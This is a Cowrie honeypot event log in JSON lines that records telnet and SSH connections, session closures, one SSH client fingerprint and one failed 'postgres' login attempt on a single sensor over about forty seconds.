{"eventid":"cowrie.session.closed","duration":30.834218502044678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:25.116935Z","src_ip":"94.46.12.68","session":"c4df8764a75c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.499271631240845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:25.249675Z","src_ip":"69.65.3.189","session":"cf4836e4e728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800366401672363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:25.353170Z","src_ip":"94.46.12.68","session":"6acff1c2b09c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":15216,"dst_ip":"10.17.0.5","dst_port":22,"session":"3261672347b1","protocol":"ssh","message":"New connection: 181.65.191.218:15216 (10.17.0.5:22) [session: 3261672347b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:25.550458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:25.555229Z","src_ip":"181.65.191.218","session":"3261672347b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:25.667142Z","src_ip":"181.65.191.218","session":"3261672347b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03260087966919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:25.753272Z","src_ip":"94.46.12.68","session":"c8ea92cbb71c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.125595808029175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:26.075331Z","src_ip":"146.185.21.169","session":"973d720ddd75","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespass","message":"login attempt [postgres/postgrespass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:26.142194Z","src_ip":"181.65.191.218","session":"3261672347b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":44602,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a41905015e0","protocol":"telnet","message":"New connection: 94.46.12.68:44602 (10.17.0.5:23) [session: 7a41905015e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:27.226847Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:27.256938Z","src_ip":"181.65.191.218","session":"3261672347b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46686,"dst_ip":"10.17.0.5","dst_port":23,"session":"a465f7f1264e","protocol":"telnet","message":"New connection: 94.46.12.68:46686 (10.17.0.5:23) [session: a465f7f1264e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:28.396653Z"}
{"eventid":"cowrie.session.closed","duration":30.919546842575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:29.545808Z","src_ip":"94.46.12.68","session":"e94d9e622a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29290533065796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:30.027668Z","src_ip":"94.46.12.68","session":"42ce0c560adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68828845024109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:30.193759Z","src_ip":"94.46.12.68","session":"003d215c5eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677999019622803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:30.316539Z","src_ip":"62.72.47.216","session":"b81ff8cd522a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16914892196655,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:30.405575Z","src_ip":"146.185.21.169","session":"e19e4d00c39f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141587018966675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:30.570367Z","src_ip":"94.46.12.68","session":"d005f7cdacb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694052934646606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:31.265031Z","src_ip":"94.46.12.68","session":"befb3c76f184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70993971824646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:31.407404Z","src_ip":"94.46.12.68","session":"3f0a82ecb22b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912314414978027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:31.417230Z","src_ip":"94.46.12.68","session":"52dddbdfa033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7410728931427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:33.312625Z","src_ip":"62.72.47.216","session":"d206092f1314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52118,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eba785f9dde","protocol":"telnet","message":"New connection: 146.185.21.169:52118 (10.17.0.5:23) [session: 0eba785f9dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:33.575710Z"}
{"eventid":"cowrie.session.closed","duration":38.61738991737366,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:34.366814Z","src_ip":"69.65.3.189","session":"64d6b8a3bbdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.452515840530396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:34.670122Z","src_ip":"94.46.12.68","session":"9f28347949c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"337479a40667","protocol":"telnet","message":"New connection: 62.72.47.216:40206 (10.17.0.5:23) [session: 337479a40667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:34.698725Z"}
{"eventid":"cowrie.session.closed","duration":30.686765909194946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:35.359859Z","src_ip":"94.46.12.68","session":"1bc7c37e6844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400640964508057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:36.112940Z","src_ip":"94.46.12.68","session":"7f7335102487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584384202957153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:36.117742Z","src_ip":"94.46.12.68","session":"b3083d5e2a34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.269489765167236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:36.157518Z","src_ip":"94.46.12.68","session":"ec3b0d9c8016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.867531776428223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:38.086664Z","src_ip":"94.46.12.68","session":"26e763257bcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58052968978882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:38.428604Z","src_ip":"94.46.12.68","session":"55a323090b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":49806,"dst_ip":"10.17.0.5","dst_port":23,"session":"017732a7f8ed","protocol":"telnet","message":"New connection: 146.185.21.169:49806 (10.17.0.5:23) [session: 017732a7f8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:38.823693Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":40024,"dst_ip":"10.17.0.5","dst_port":23,"session":"0236c6340126","protocol":"telnet","message":"New connection: 94.46.12.68:40024 (10.17.0.5:23) [session: 0236c6340126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:39.110887Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57500,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b243382883","protocol":"telnet","message":"New connection: 146.185.21.169:57500 (10.17.0.5:23) [session: 04b243382883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:39.917500Z"}
{"eventid":"cowrie.session.closed","duration":30.495760917663574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:40.070316Z","src_ip":"146.185.21.169","session":"029139b46c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.180388927459717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:41.048819Z","src_ip":"146.185.21.169","session":"59e98a5f7f0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77303171157837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:42.047985Z","src_ip":"94.46.12.68","session":"422a80e6b0d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48546,"dst_ip":"10.17.0.5","dst_port":23,"session":"246353396b6b","protocol":"telnet","message":"New connection: 94.46.12.68:48546 (10.17.0.5:23) [session: 246353396b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:43.391302Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46904,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b4f34234b88","protocol":"telnet","message":"New connection: 94.46.12.68:46904 (10.17.0.5:23) [session: 1b4f34234b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:43.652113Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":50642,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e9acc7ebac7","protocol":"telnet","message":"New connection: 94.46.12.68:50642 (10.17.0.5:23) [session: 9e9acc7ebac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:44.502719Z"}
{"eventid":"cowrie.session.closed","duration":30.291999101638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:45.125659Z","src_ip":"62.72.47.216","session":"7287ae85a8d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":40280,"dst_ip":"10.17.0.5","dst_port":23,"session":"a73219af2c1d","protocol":"telnet","message":"New connection: 94.46.12.68:40280 (10.17.0.5:23) [session: a73219af2c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:45.380489Z"}
{"eventid":"cowrie.session.closed","duration":30.953371047973633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:45.393135Z","src_ip":"94.46.12.68","session":"ea3a40b24e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68097710609436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:45.471929Z","src_ip":"94.46.12.68","session":"525321d9f08e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101877450942993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:45.744428Z","src_ip":"94.46.12.68","session":"d28cd2f3eba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.243818283081055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:47.087435Z","src_ip":"146.185.21.169","session":"7187a9a9a4d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.444702863693237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:47.115988Z","src_ip":"62.72.47.216","session":"085d75d56704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438252210617065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:47.255398Z","src_ip":"62.72.47.216","session":"0348b0bab59d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57616,"dst_ip":"10.17.0.5","dst_port":23,"session":"0835e9a3e220","protocol":"telnet","message":"New connection: 94.46.12.68:57616 (10.17.0.5:23) [session: 0835e9a3e220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:47.857787Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":33490,"dst_ip":"10.17.0.5","dst_port":23,"session":"113922209001","protocol":"telnet","message":"New connection: 146.185.21.169:33490 (10.17.0.5:23) [session: 113922209001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:48.850134Z"}
{"eventid":"cowrie.session.closed","duration":30.772942066192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:49.397718Z","src_ip":"62.72.47.216","session":"64b6a83f8cf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46952,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1acb7860bfa","protocol":"telnet","message":"New connection: 146.185.21.169:46952 (10.17.0.5:23) [session: d1acb7860bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:49.431915Z"}
{"eventid":"cowrie.session.closed","duration":0.004452228546142578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:49.436231Z","src_ip":"146.185.21.169","session":"d1acb7860bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":36906,"dst_ip":"10.17.0.5","dst_port":23,"session":"c117d37b7e4b","protocol":"telnet","message":"New connection: 146.185.21.169:36906 (10.17.0.5:23) [session: c117d37b7e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:52.007058Z"}
{"eventid":"cowrie.session.closed","duration":30.51433777809143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:52.119603Z","src_ip":"62.72.47.216","session":"f5d997739a35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":39902,"dst_ip":"10.17.0.5","dst_port":23,"session":"5234f2d8501f","protocol":"telnet","message":"New connection: 146.185.21.169:39902 (10.17.0.5:23) [session: 5234f2d8501f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:54.199906Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":42174,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80a25d68a52","protocol":"telnet","message":"New connection: 94.46.12.68:42174 (10.17.0.5:23) [session: b80a25d68a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:54.375535Z"}
{"eventid":"cowrie.session.closed","duration":15.734392642974854,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:54.557957Z","src_ip":"146.185.21.169","session":"017732a7f8ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43344473838806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:55.174065Z","src_ip":"62.72.47.216","session":"f141b618c2cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":47426,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac750843b5e","protocol":"telnet","message":"New connection: 94.46.12.68:47426 (10.17.0.5:23) [session: 7ac750843b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:56.839234Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50392,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b46729f2eff","protocol":"telnet","message":"New connection: 146.185.21.169:50392 (10.17.0.5:23) [session: 7b46729f2eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:57.509363Z"}
{"eventid":"cowrie.session.closed","duration":0.005332469940185547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:57.514563Z","src_ip":"146.185.21.169","session":"7b46729f2eff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":41946,"dst_ip":"10.17.0.5","dst_port":23,"session":"73cddf6684a2","protocol":"telnet","message":"New connection: 146.185.21.169:41946 (10.17.0.5:23) [session: 73cddf6684a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:57.799374Z"}
{"eventid":"cowrie.session.closed","duration":24.479296684265137,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:58.054910Z","src_ip":"146.185.21.169","session":"0eba785f9dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46626,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c36adbcb081","protocol":"telnet","message":"New connection: 146.185.21.169:46626 (10.17.0.5:23) [session: 4c36adbcb081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:58.266882Z"}
{"eventid":"cowrie.session.closed","duration":31.345412731170654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:58.572139Z","src_ip":"94.46.12.68","session":"7a41905015e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":47638,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f9607c3c42f","protocol":"telnet","message":"New connection: 146.185.21.169:47638 (10.17.0.5:23) [session: 8f9607c3c42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:58.921125Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46834,"dst_ip":"10.17.0.5","dst_port":23,"session":"0070be3e8584","protocol":"telnet","message":"New connection: 146.185.21.169:46834 (10.17.0.5:23) [session: 0070be3e8584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:59.413036Z"}
{"eventid":"cowrie.session.closed","duration":31.05974841117859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:59.456264Z","src_ip":"94.46.12.68","session":"a465f7f1264e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":40830,"dst_ip":"10.17.0.5","dst_port":23,"session":"48eaa84e2c6f","protocol":"telnet","message":"New connection: 62.72.47.216:40830 (10.17.0.5:23) [session: 48eaa84e2c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:37:59.751721Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":41524,"dst_ip":"10.17.0.5","dst_port":23,"session":"5354d2cdd7c9","protocol":"telnet","message":"New connection: 62.72.47.216:41524 (10.17.0.5:23) [session: 5354d2cdd7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:00.071753Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50528,"dst_ip":"10.17.0.5","dst_port":23,"session":"e00db1515b7a","protocol":"telnet","message":"New connection: 146.185.21.169:50528 (10.17.0.5:23) [session: e00db1515b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:00.682352Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":44708,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c56f27c9289","protocol":"telnet","message":"New connection: 62.72.47.216:44708 (10.17.0.5:23) [session: 6c56f27c9289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:01.670631Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":60634,"dst_ip":"10.17.0.5","dst_port":23,"session":"522a697e4cdb","protocol":"telnet","message":"New connection: 94.46.12.68:60634 (10.17.0.5:23) [session: 522a697e4cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:03.359631Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":51164,"dst_ip":"10.17.0.5","dst_port":23,"session":"2898b0df54f8","protocol":"telnet","message":"New connection: 62.72.47.216:51164 (10.17.0.5:23) [session: 2898b0df54f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:04.628477Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":51704,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc2870a8def","protocol":"telnet","message":"New connection: 62.72.47.216:51704 (10.17.0.5:23) [session: 7cc2870a8def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:04.800312Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":52144,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1592a1cddb","protocol":"telnet","message":"New connection: 62.72.47.216:52144 (10.17.0.5:23) [session: 4e1592a1cddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:04.942891Z"}
{"eventid":"cowrie.session.closed","duration":30.65273356437683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:05.351336Z","src_ip":"62.72.47.216","session":"337479a40667","protocol":"telnet"}
